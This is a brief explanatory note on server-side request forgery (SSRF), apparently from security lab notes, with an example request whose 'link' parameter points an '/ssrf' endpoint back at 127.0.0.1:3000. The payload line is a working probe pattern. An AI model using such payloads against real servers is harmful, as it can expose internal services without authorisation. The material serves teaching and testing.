Summary

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

# Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
